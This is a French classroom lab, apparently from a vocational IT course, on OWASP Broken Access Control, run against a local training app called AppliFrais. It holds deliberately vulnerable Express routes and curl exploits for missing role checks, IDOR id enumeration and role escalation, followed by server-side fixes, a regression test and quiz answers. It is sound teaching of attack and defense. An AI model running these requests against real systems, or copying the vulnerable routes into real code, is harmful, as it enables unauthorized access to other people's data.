Contrôle d'accès10 livrablesQuiz corrigé
Broken Access Control
La faille n°1 du Top 10 OWASP, et la plus sournoise : « ça marche » en apparence, mais rien ne vérifie QUI a le droit. Un visiteur qui valide sa propre fiche, qui lit les frais d'un collègue en changeant un id dans l'URL… Aujourd'hui tu exploites ces trous d'autorisation sur AppliFrais, puis tu poses les bonnes barrières.
Par Josselyn C., prof de BTS SIO. Publié le , mis à jour le .
- Objectif
- exploiter et corriger les défauts de contrôle d'accès (rôle manquant, IDOR, escalade)
- On manipule
- AppliFrais en local, Express, middlewares d'autorisation, JWT
- Pré-requis
- AppliFrais (auth JWT, rôles visiteur/comptable, routes fiches)
Cadre légal : AppliFrais LOCAL uniquement. Accéder aux données d'autrui sans droit est un délit pénal.
Avant de commencer
Pourquoi cette séance
Le Broken Access Control (A01) est en tête du Top 10 OWASP — la faille la plus répandue et la plus coûteuse. Son principe : une fonctionnalité existe et marche, mais l'application ne vérifie pas si l'utilisateur a le droit de l'utiliser, ou d'accéder à cette donnée précise. Contrairement à l'injection (une donnée détournée), ici tout est « normal » côté technique — c'est le contrôle qui manque. Résultat : un visiteur valide ses propres fiches (auto-remboursement), lit les fiches d'un collègue, accède à l'espace comptable. Aujourd'hui tu provoques ces accès illégitimes sur AppliFrais, puis tu installes les barrières d'autorisation côté serveur.
Comment avancer (en autonomie)
Mise en place — ton terrain d'attaque
Tu travailles sur ta copie d'AppliFrais. Il te faut l'API démarrée et deux comptes visiteurs (pour l'IDOR, il faut un « autrui ») plus un comptable.
# dans le dossier de l'API AppliFrais
npm install
npm run dev # Express ecoute sur http://localhost:3000
# dans un autre terminal : le front (optionnel pour ce TP, on attaque l'API)
npm run dev # Vite sert http://localhost:5173
API AppliFrais demarree sur http://localhost:3000
MongoDB connecte (appliFrais)
Ce que tu vas apprendre
| Concept | Ce que tu sauras faire |
|---|---|
| Authentification ≠ autorisation | distinguer « qui tu es » de « ce que tu as le droit de faire » |
| Rôle manquant | appeler une route comptable en tant que visiteur |
| IDOR | lire/modifier la fiche d'autrui en changeant un id |
| Escalade | passer de visiteur à comptable |
| Contrôle serveur | poser des middlewares d'autorisation fiables (requireRole, propriété) |
| Codes 401/403/404 | répondre correctement selon le défaut de droit |
| Deny by default | refuser par défaut, autoriser explicitement |
0. Authentification ≠ autorisation
Deux mots qu'on confond, et c'est la source de la faille. Distingue-les une fois pour toutes :
| Notion | Question | Sur AppliFrais |
|---|---|---|
| Authentification | « qui es-tu ? » | login + mot de passe → un token JWT |
| Autorisation | « as-tu le droit de faire ça ? » | ce visiteur peut-il valider CETTE fiche ? |
Les deux grandes formes de la faille
| Forme | Ce qui manque | Exemple AppliFrais |
|---|---|---|
| Contrôle de fonction | vérifier le rôle | un visiteur appelle /valider (réservé comptable) |
| Contrôle d'objet (IDOR) | vérifier la propriété | un visiteur lit la fiche d'un AUTRE visiteur |
Flag A1
Checkpoint
Dans AppliFrais, liste 3 routes et indique pour chacune : faut-il un rôle particulier ? faut-il être le propriétaire de la donnée ?
Rends : ton tableau (route → contrôle de fonction attendu → contrôle d'objet attendu).
1. Récupérer et lire ton token
Avant d'attaquer, il faut une « arme » : ton token. C'est lui que tu présentes à chaque requête. On va l'obtenir, puis le décoder pour comprendre ce qu'il contient — détail crucial pour le chapitre 3.
Étape 1 — se connecter et récupérer le token
curl -s -X POST http://localhost:3000/api/login \
-H "Content-Type: application/json" \
-d '{"login":"visiteurA","mdp":"secret"}'
{"token":"eyJhbGciOiJIUzI1NiJ9.eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6InZpc2l0ZXVyIn0.Kf9s_Aa1"}
Étape 2 — stocker le token dans une variable
# on garde le token sous la main pour les requetes suivantes
TOKEN_A=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6InZpc2l0ZXVyIn0.Kf9s_Aa1
Étape 3 — décoder le JWT (et comprendre qu'il n'est PAS secret)
Un JWT a 3 parties séparées par des points : entête.charge_utile.signature. Les deux premières sont juste du base64 — lisible par n'importe qui. Décode la charge utile (la partie du milieu) :
# on isole la 2e partie (entre les deux points) et on la decode
echo eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6InZpc2l0ZXVyIn0 | base64 -d
{"id":"665f1a02","role":"visiteur"}
Sous le capot du JWT — chiffres-repères pro
| Élément | Valeur / Taille | Pourquoi c'est important |
|---|---|---|
| Algorithme HS256 | HMAC-SHA256, clé ≥ 256 bits (32 octets) | Symétrique : API et client partagent la même clé secrète. Si la clé fuit (dépôt Git public, logs…) → tous les tokens existants peuvent être forgés. |
| Algorithme RS256 | RSA, clé 2048 bits minimum | Asymétrique : la clé privée signe, la clé publique vérifie. Chaque microservice peut vérifier sans posséder le secret de signature. |
| Durée recommandée — access token | 15 min à 1 h | Court car non révocable côté serveur (stateless). Si un token est volé, la fenêtre d'exploitation reste étroite. |
| Durée recommandée — refresh token | 7 à 30 jours | Stocké en cookie httpOnly (non lisible par JS), rotatif à chaque usage (refresh token rotation — RFC 6749 §10.4). |
| Taille typique d'un JWT AppliFrais | ~200 – 350 octets | Transporté dans chaque header HTTP. Ne jamais y mettre des objets lourds (rôles fins, permissions…) : ça gonfle chaque requête. |
Attaque historique alg:none | CVE-2015-9235 | Bibliothèques anciennes acceptaient "alg":"none" dans l'entête → signature vide acceptée. Correctif : la lib vérifie que l'algo est dans une liste blanche côté serveur, jamais laissé au choix du client. |
Flag A2
Checkpoint (token)
Récupère ton token visiteur, décode sa charge utile.
Rends : la commande de login + le JSON décodé du token (id + role). Confirme en une phrase pourquoi un JWT ne doit pas contenir de secret.
2. Rôle manquant : valider sans être comptable
Première vraie attaque : une route sensible qui vérifie le token mais pas le rôle.
// VULNERABLE -- on verifie le token (auth) mais PAS le role
router.patch('/api/fiches/:id/valider', auth, async (req, res) => {
await FicheFrais.findByIdAndUpdate(req.params.id, { etat: 'VA' });
res.json({ ok: true });
});
L'exploitation
# avec mon token VISITEUR, j'appelle la route comptable :
curl -s -X PATCH http://localhost:3000/api/fiches/665f1a02/valider \
-H "Authorization: Bearer $TOKEN_A"
{"ok":true}
Je vérifie que ma fiche est bien passée à l'état VA (validée) :
curl -s http://localhost:3000/api/fiches/665f1a02 \
-H "Authorization: Bearer $TOKEN_A"
{"_id":"665f1a02","visiteurId":"665f1a02","etat":"VA","montant":420}
--> ma fiche est VALIDEE sans qu'aucun comptable ne soit intervenu
Flag B1
Production (rôle manquant)
Sur AppliFrais local, avec un token visiteur, appelle une route réservée au comptable (validation/mise en paiement) qui ne vérifie pas le rôle.
Rends : la commande + la preuve que l'action a réussi (fiche passée à VA). Tu viens de t'auto-valider une fiche.
3. IDOR : lire la fiche d'un autre
L'IDOR (Insecure Direct Object Reference) : une route renvoie un objet désigné par un id dans l'URL, sans vérifier que le demandeur en est le propriétaire.
// VULNERABLE -- on renvoie la fiche par id, sans verifier le proprietaire
router.get('/api/fiches/:id', auth, async (req, res) => {
const fiche = await FicheFrais.findById(req.params.id);
res.json(fiche); // et si la fiche n'est pas a moi ?
});
L'exploitation : énumérer les id
# je connais l'id de MA fiche. J'essaie celui d'un autre :
curl -s http://localhost:3000/api/fiches/665f1a07 \
-H "Authorization: Bearer $TOKEN_A"
{"_id":"665f1a07","visiteurId":"665f1a05","etat":"CL","montant":230,"libelle":"taxi gare"}
--> ce n'est PAS ma fiche (visiteurId different du mien), et je la lis quand meme
Avec des id séquentiels ou devinables, on énumère : une boucle teste ...a01, ...a02, ...a03… et aspire toutes les fiches.
Mise à l'échelle — une boucle d'énumération
Dans la réalité, l'attaquant n'essaie pas un id à la main : il automatise. Sur une API vulnérable, une boucle bash aspire l'ensemble des fiches en quelques secondes :
# boucle bash : aspirer plusieurs fiches via IDOR
# (ids découverts via listing d'une autre route, ou fuités dans les logs)
for ID in 665f1a00 665f1a01 665f1a02 665f1a03 665f1a04 665f1a05 665f1a06 665f1a07
do
echo "=== $ID ==="
curl -s http://localhost:3000/api/fiches/$ID \
-H "Authorization: Bearer $TOKEN_A" \
| grep -E '"_id"|"visiteurId"|"montant"|"libelle"'
done
=== 665f1a01 ===
"_id":"665f1a01","visiteurId":"665f1a01","montant":120,"libelle":"repas client"
=== 665f1a05 ===
"_id":"665f1a05","visiteurId":"665f1a05","montant":880,"libelle":"hotel Lyon"
=== 665f1a07 ===
"_id":"665f1a07","visiteurId":"665f1a05","montant":230,"libelle":"taxi gare"
Note : les ObjectId MongoDB ne sont pas aléatoires — ils encodent un timestamp Unix (4 premiers octets), un identifiant de machine (3 octets) et un compteur (3 octets). Des id générés à quelques secondes d'intervalle sont très proches : faciles à énumérer si on en connaît un seul.
Flag B2
Production (IDOR)
Sur AppliFrais local, connecté en visiteur A, accède à une fiche du visiteur B en changeant l'id dans l'URL.
Rends : les deux requêtes (la tienne + celle d'autrui) + la preuve que tu lis des données qui ne t'appartiennent pas (le visiteurId renvoyé n'est pas le tien).
Flag D1
Investigation
Ouvre la page OWASP « A01:2021 Broken Access Control ». Trouve une sous-catégorie d'accès cassé qu'on n'a pas vue ici (ex. force browsing, manipulation de métadonnées/JWT, mauvaise config CORS).
Rends : son nom + une phrase expliquant en quoi elle casse l'autorisation.
4. Escalade par le client
Troisième forme : l'appli fait confiance à une donnée contrôlée par le client pour décider des droits.
// VULNERABLE -- le role vient du body / d'un champ modifiable
router.post('/api/login', async (req, res) => {
const user = await Visiteur.findOne({ login: req.body.login });
// ... verif mdp ...
const token = jwt.sign({ id: user.id, role: req.body.role }, SECRET); // role du CLIENT !
});
L'exploitation
# je glisse mon propre role dans le corps du login
curl -s -X POST http://localhost:3000/api/login \
-H "Content-Type: application/json" \
-d '{"login":"visiteurA","mdp":"secret","role":"comptable"}'
{"token":"eyJhbGciOiJIUzI1NiJ9.eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6ImNvbXB0YWJsZSJ9.Zx7..."}
Je décode la charge utile du nouveau token (comme au chap. 1) :
{"id":"665f1a02","role":"comptable"}
--> je suis simple visiteur, mais mon token dit "comptable" : j'accede a tout l'espace comptable
Flag B3
Production (escalade)
Si ta version vulnérable lit le rôle depuis le client, obtiens un token comptable en tant que simple visiteur.
Rends : la requête + le token décodé montrant role: comptable + ce que ça t'ouvre.
5. La correction : contrôler côté serveur
Avant le code, fixe le vocabulaire des réponses : le bon code HTTP selon le défaut.
| Code | Sens | Quand le renvoyer |
|---|---|---|
| 401 Unauthorized | pas (ou mauvais) token | l'utilisateur n'est pas authentifié — « connecte-toi » |
| 403 Forbidden | authentifié mais pas le droit | bon token, mauvais rôle ou pas propriétaire |
| 404 Not Found | ressource introuvable | id inexistant — ou pour masquer l'existence d'un objet |
Barrière 1 — le rôle vient du serveur, pas du client
// le role est lu en BASE (user.role), jamais du body
const token = jwt.sign({ id: user.id, role: user.role }, SECRET);
Barrière 2 — middleware de rôle sur les routes sensibles
function requireRole(role) {
return (req, res, next) => {
if (req.user.role !== role) return res.status(403).json({ error: 'interdit' });
next();
};
}
router.patch('/api/fiches/:id/valider', auth, requireRole('comptable'), valider);
Barrière 3 — vérifier la propriété (contre l'IDOR)
router.get('/api/fiches/:id', auth, async (req, res) => {
const fiche = await FicheFrais.findById(req.params.id);
if (!fiche) return res.status(404).json({ error: 'introuvable' });
// l'utilisateur est-il proprietaire (ou comptable) ?
if (String(fiche.visiteurId) !== req.user.id && req.user.role !== 'comptable')
return res.status(403).json({ error: 'interdit' });
res.json(fiche);
});
// centraliser : tout le routeur exige au moins une authentification
router.use(auth); // deny by default : aucune route anonyme
router.patch('/fiches/:id/valider', requireRole('comptable'), valider);
Aller plus loin — RBAC vs ABAC
| Modèle | Logique | Quand l'utiliser | Exemple AppliFrais |
|---|---|---|---|
| RBAC (Role-Based Access Control) | Droits attachés à un rôle (visiteur / comptable / admin). Simple, lisible, rapide à implémenter. | La plupart des apps métier avec des rôles stables et peu nombreux. C'est le modèle d'AppliFrais. | requireRole('comptable') sur les routes de validation — si le rôle n'est pas bon, 403. |
| ABAC (Attribute-Based Access Control) | Droits selon des attributs contextuels : rôle + département + heure + sensibilité de la donnée + IP. Très fin, plus complexe. | Systèmes complexes où le rôle seul ne suffit pas (ex. : un comptable ne valide que les fiches de son agence). | if user.agenceId !== fiche.agenceId → 403 — le rôle est comptable mais le périmètre est restreint. |
Flag B4
Production (corriger)
Corrige AppliFrais : (1) rôle issu de la base, (2) requireRole('comptable') sur les routes sensibles, (3) vérif de propriété sur l'accès aux fiches. Re-tente les attaques B1, B2, B3.
Rends : le code des 3 barrières + les preuves que les 3 attaques renvoient désormais 403.
Flag C1
Debug (faux correctif)
Un collègue « corrige » l'IDOR ainsi — mais désormais personne ne peut lire sa propre fiche (tous reçoivent 403) :
if (fiche.visiteurId !== req.user.id) return res.status(403).json({error:'interdit'});
Explique pourquoi et corrige la ligne. Rends : la cause (type) + la ligne corrigée + la preuve que le propriétaire lit sa fiche (200) et qu'autrui reçoit bien 403.
6. Non-régression : un test qui garde la porte
Une correction de sécurité, ça se verrouille : un test automatisé qui échoue le jour où quelqu'un réintroduit la faille. C'est de la non-régression de sécurité.
const request = require('supertest');
const app = require('../app');
test('un visiteur ne peut pas valider une fiche (403)', async () => {
const res = await request(app)
.patch('/api/fiches/' + ficheId + '/valider')
.set('Authorization', 'Bearer ' + tokenVisiteur);
expect(res.status).toBe(403); // si un jour ca repasse a 200 : alerte rouge
});
PASS tests/access.test.js
A01 Broken Access Control
OK un visiteur ne peut pas valider une fiche (403)
Tests: 1 passed, 1 total
Flag E1
Extension (test de non-régression)
Écris un test Jest/supertest qui vérifie qu'un visiteur reçoit 403 sur /valider. Ajoute-en un second : un visiteur reçoit 403 en lisant la fiche d'autrui (IDOR).
Rends : le code des 2 tests + la sortie PASS.
Mini-projet : rapport & carte de menace
Rédige le rapport (format E7) des défauts de contrôle d'accès trouvés sur AppliFrais :
- Description : Broken Access Control (A01), les 3 formes trouvées ;
- Preuve : pour chacune, la requête + l'accès illégitime obtenu ;
- Impact : auto-validation, lecture des données d'autrui, escalade ;
- Correction : rôle serveur + requireRole + vérif propriété + deny by default ;
- Vérification : les 3 attaques renvoient 403 (et le test de non-régression passe).
Flag B5
Mini-projet (livrable)
Rédige le rapport complet (5 sections) et mets à jour ta carte de menace : A01 passe de « exposé » à « corrigé ».
Rends : ton rapport + la ligne mise à jour. A01 est la faille n°1 du Top 10 : ce rapport est un incontournable de l'E7.
Pour finir
L'essentiel
| Notion | À retenir |
|---|---|
| la confusion | authentifié (qui) ≠ autorisé (a le droit) |
| 3 formes | rôle manquant, IDOR (propriété), escalade (rôle du client) |
| le JWT | signé mais lisible — jamais de secret dedans, rôle issu de la base |
| parade | rôle serveur + requireRole + vérif propriété (String/ObjectId !) |
| codes | 401 non connecté · 403 interdit · 404 introuvable |
| principe | deny by default, sécurité TOUJOURS côté serveur |
Vérifie tes acquis
Exercice Réussi À revoir
- Différence entre authentification et autorisation ?
- Qu'est-ce qu'un IDOR, et pourquoi un id imprévisible (UUID) ne suffit pas ?
- Pourquoi peut-on lire un JWT sans secret, mais pas le falsifier ?
- Pourquoi cacher un bouton côté front ne protège pas une route ?
- Pourquoi ne jamais lire le rôle depuis le body du client ?
- Quels codes HTTP pour : non connecté / interdit / introuvable ?
- Pourquoi comparer
fiche.visiteurIdàreq.user.idsansString()casse tout ? - Que signifie « deny by default » ?
Voir le corrigéMasquer le corrigé de l'exercice
- Authentification = prouver qui on est (login + mdp → token). Autorisation = vérifier qu'on a le droit de faire ou voir cette chose précise. Un token valide prouve qu'on est authentifié, il ne dit rien sur ce qu'on est autorisé à faire.
- Un IDOR : accéder à l'objet d'autrui (fiche, document, profil) en changeant son id dans l'URL, sans que le serveur vérifie la propriété. Un id imprévisible (UUID) ne suffit pas car les id peuvent fuir (logs, lien partagé, réponse d'une autre route), et surtout l'obscurité n'est pas un contrôle d'accès.
- Un JWT est encodé en base64 (non chiffré) : n'importe qui peut décoder l'entête et la charge utile sans aucun secret. Il est signé (HMAC-SHA256 ou RSA) : modifier la charge utile casse la signature → le serveur rejette le token (401). Lisible par tous, infalsifiable sans la clé.
- Cacher un bouton en React ne retire pas la route côté serveur. Un attaquant appelle l'API directement (curl, Postman, script) sans jamais charger ton interface. Toute sécurité côté client est contournable ; la protection réelle est côté serveur uniquement.
- Le client contrôle le body qu'il envoie : il peut y mettre n'importe quelle valeur de rôle. Si le serveur utilise cette valeur pour signer le JWT, un visiteur obtient un token comptable légitimement signé par le serveur lui-même. Le rôle doit venir de la base de données, source de vérité, jamais du client.
- 401 Unauthorized → non authentifié (token absent, invalide ou expiré). 403 Forbidden → authentifié mais interdit (bon token, mauvais rôle ou pas propriétaire de la ressource). 404 Not Found → ressource introuvable, ou utilisé intentionnellement pour ne pas révéler l'existence d'un objet auquel on n'a pas accès.
fiche.visiteurIdest un ObjectId Mongoose (objet JS),req.user.idest une string. En JavaScript,objetQuelconque !== "une string"est toujourstrue, même si les valeurs représentent le même id → tout le monde reçoit 403, même le propriétaire. Solution :String(fiche.visiteurId) === req.user.idoufiche.visiteurId.equals(req.user.id).- « Deny by default » : tout accès est interdit par défaut ; on autorise explicitement ce qui est permis. L'opposé serait « allow by default » : une route oubliée sans middleware = accès total. Avec deny by default, une route oubliée = inaccessible → l'oubli ne crée pas de faille, il crée un bug fonctionnel qu'on voit tout de suite.
Tu avais trouvé ?
Glossaire
| Mot | Définition |
|---|---|
| Broken Access Control | défaut de vérification des droits d'accès (A01) |
| Authentification | prouver qui on est (login → token) |
| Autorisation | vérifier qu'on a le droit de faire/voir une chose |
| JWT | jeton signé en 3 parties (entête.charge.signature), base64, non chiffré |
| IDOR | accéder à un objet d'autrui via son id, sans contrôle de propriété |
| Énumération | tester des id à la chaîne pour aspirer des objets |
| Escalade de privilèges | obtenir plus de droits que ceux accordés |
| requireRole | middleware Express qui refuse (403) si le rôle ne convient pas |
| Deny by default | tout interdit par défaut, autorisé explicitement |
| Non-régression | test automatisé qui échoue si une faille corrigée réapparaît |